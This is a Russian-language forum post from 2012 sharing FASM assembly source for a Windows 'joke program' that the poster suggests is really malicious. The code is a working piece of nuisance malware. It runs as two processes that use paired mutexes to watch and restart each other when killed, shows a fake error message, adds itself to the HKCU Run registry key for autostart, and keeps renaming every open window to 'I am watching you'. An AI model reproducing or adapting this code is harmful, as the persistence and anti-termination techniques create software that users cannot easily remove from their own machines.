Дата: Воскресенье, 24.06.2012, 17:47 | Сообщение # 1
Постоянный
Зарегистрирован: 19.12.2009
Группа: Модераторы
Сообщений: 182
Статус: Offline
В очередной раз бродя по просторам Интернета, Я наткнулся на /code, аффтор позиционирует её как программа-шутка, но мы-то знаем, что "в каждой шутке есть доля шутки, а всё остальное правда"
dwThreadID dd ?
dwLastError dd ?
dwCurrentPID dd ?
; Мьютески, используются в перекрестном режиме
psMutexName1 db '_suxMutex1',0
psMutexName2 db '_suxMutex2',0
; Этот мьютекс для убивания процесса
; Если он будет занят, то восстановление процесса бедет отключено
psMutexKill db '_suxMutexK',0
; Указатель на хэндл "текущего" (для процесса) мьютекса
phMutexCheck dd ?
psSystemError1Body db 'Ошибка! Процесс не завершен!',13,\
'К сожалению сразу же после завершения, данный процесс запустился снова.',13,\
'Попробуйте повторить операцию еще раз. Может быть повезет. :)',0
psSystemError1 db 'Ошибка! Процесс не завершен!',0
psSystemKillBody db 'Теперь убейте все процессы с именем',13,'%s',13,\
'и имеющими ID, отличными от %d',0
psSystemKill db 'Внимание!',0
psBuffer db 300 DUP(?)
psGaGaGa db 'Я за тобой наблюдаю...',0
; Здесь хранится текущая директория с именем файла
psDirectory db 200 DUP(?)
; Константы для командной строки
TEMP_PROCESS EQU 't'
KILL_PROCESS EQU 'k'
; Параметры командной строки
psCmdTemp db TEMP_PROCESS,0
psCmdKill db KILL_PROCESS,0
; Это ветвь реестра для автозагрузки
psRegPath db 'Software\Microsoft\Windows\CurrentVersion\Run',0
; Имя программы
psNameProg db 'FunProg',0
a_si STARTUPINFO ?
a_pi PROCESS_INFORMATION ?
section '.code' code readable executable
start:
; Подготовка: получаем путь до программы
invoke GetModuleHandle
invoke GetModuleFileName, eax, psDirectory, 200
; Получаем указатель на строку с параметрами запуска
invoke GetCommandLine
; Ставим указатель на последний символ параметров командной строки
mov edx, eax
stdcall strlen, eax
add eax, edx
dec eax
; Если передан параметр k, то перемещаемся на кусок кода для блокировки
cmp byte [eax], KILL_PROCESS
je _KillProcess
; Если в возвращенной строке 1ый символ t (от temp), то это сигнал, что данный процесс является посредником..
cmp byte [eax], TEMP_PROCESS
jne _noTempProcess
; В начале проверка блокирующего мьютекса
; Проверяем занятость блокирующего мьютекса
invoke CreateMutex, NULL, FALSE, psMutexKill
mov [hMutex], eax
; Если семафор не создан, то проходим без изменений
invoke GetLastError
cmp eax, ERROR_ALREADY_EXISTS
je _noCreateProcess
; Вызываем процесс "не посредник"
invoke CreateProcess, NULL, psDirectory, NULL, NULL, FALSE, 0, NULL, NULL, a_si, a_pi
_noCreateProcess:
; Обязательное закрытие хэндла мьютекса
invoke CloseHandle, [hMutex]
jmp _ExitProcess
_noTempProcess:
; Создаем именованный мьютеск (1)
invoke CreateMutex, NULL, FALSE, psMutexName1
mov [hMutex], eax
; Если мьютеск создан, создаем еще один процесс, иначе, если ошибка (семафор уже создан в другом потоке), то не порождаем процесса
invoke GetLastError
cmp eax, ERROR_ALREADY_EXISTS
jne _Mutex1next
invoke CloseHandle, [hMutex]
; Создаем именованный мьютеск (2)
invoke CreateMutex, NULL, FALSE, psMutexName2
; Обязательное закрытие хэндла
mov [hMutex], eax
; Если семафор создан, создаем еще один процесс, иначе, если ошибка (семафор уже создан в другом потоке), то не порождаем процесса
invoke GetLastError
cmp eax, ERROR_ALREADY_EXISTS
jne _Mutex2next
; Обязательное закрытие хэндла
invoke CloseHandle, [hMutex]
; Прыжек на завершение
jmp _ExitProcess
_Mutex1next:
; Порождение дочернего процесса (посредника)
invoke CreateProcess, psDirectory, psCmdTemp, NULL, NULL, FALSE, 0, NULL, NULL, a_si, a_pi
; Занесение в проверяемый мьютеск адрес имени 2ого мьютеска
mov [phMutexCheck], psMutexName2
jmp _EndInitial
_Mutex2next:
; Занесение в проверяемый мьютеск адрес имени 1ого мьютеска
mov [phMutexCheck], psMutexName1
; создаем дочерний поток, в нем будет работать сам "вредный код".
invoke CreateThread, NULL, 0, DestructFunction, NULL, 0, NULL
_EndInitial:
invoke Sleep, 150
; Конец инициализации программы, далее рабочая часть:
_RepeatBody:
; Код проверки на существование мьютекса:
invoke CreateMutex, NULL, FALSE, [phMutexCheck]
; Сразу закрытие хэндла (иначе его не захватит другой процесс)
invoke CloseHandle, eax
; Если мьютеск создан, создаем еще один процесс, иначе, если ошибка (мьютекс уже создан в другом потоке), то не порождаем процесса
invoke GetLastError
cmp eax, ERROR_ALREADY_EXISTS
je _MutexExist
; Если проверяемый мьютекс не существует, то создание еще одного потока (посредника)
invoke CreateProcess, psDirectory, psCmdTemp, NULL, NULL, FALSE, 0, NULL, NULL, a_si, a_pi
; Вывод сообщения о "неудачном" завершении
invoke CreateThread, NULL, 0, MessageFunction, NULL, 0, NULL
; Задержка, чтобы процесс успел запуститься
invoke Sleep, 200
_MutexExist:
; Здесь код проверки и добавления ключа реестра
; HKEY_CURRENT_USER - ветка для конкретного пользователя
; HKEY_LOCAL_MACHINE - ветка "для всех", но доступна на запись только для администратора
; Открываем нужную ветку в реестре
invoke RegCreateKeyEx, HKEY_CURRENT_USER, psRegPath,\
NULL, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, hKey, NULL
; Добавляем/заменяем запись автозагрузки
invoke RegSetValueEx, [hKey], psNameProg, NULL, REG_SZ, psDirectory, 200
; Закрываем реестр
invoke RegCloseKey, [hKey]
; Задержка, чтобы не грузило проц...
invoke Sleep, PRIMARY_DELAY
jmp _RepeatBody
; Это главная функция, содуржащая какой-либо код для выполнения
proc DestructFunction arg:DWORD
push ebx esi edi
; Задержка перед первым проявлением
invoke Sleep, FIRST_DELAY
.repeat:
;
; Основной цикл рабочей ф-ции
;
; Перебор всех окон
invoke EnumWindows, EnumHWND, 0
;
; Интервал повторения
;
invoke Sleep, DESTRUCT_DELAY
jmp .repeat
pop edi esi ebx
ret
endp
; Вспомогательная деструктивная функция (меняет заголовок окна)
proc EnumHWND hwnd:DWORD, lparam:DWORD
push edi esi ebx
; Посылка сообщения для изменения заголовка
invoke SendMessage, [hwnd], WM_SETTEXT, 0, psGaGaGa
pop ebx esi edi
ret
endp
; Ф-ция возвращает длину null строки
proc strlen stdcall lpSting:DWORD
push ecx edx
mov ecx,[lpSting]
sub edx,edx
sub eax,eax
.l00p: cmp [ecx],dl
je .ret
inc ecx
inc eax
jmp .l00p
.ret: pop edx ecx
ret
endp
; Данная функция выводит сообщение о "неудачном" завершении процесса.
proc MessageFunction arg:DWORD
push ebx esi edi
invoke MessageBox, NULL, psSystemError1Body, psSystemError1, MB_ICONERROR
pop edi esi ebx
ret
endp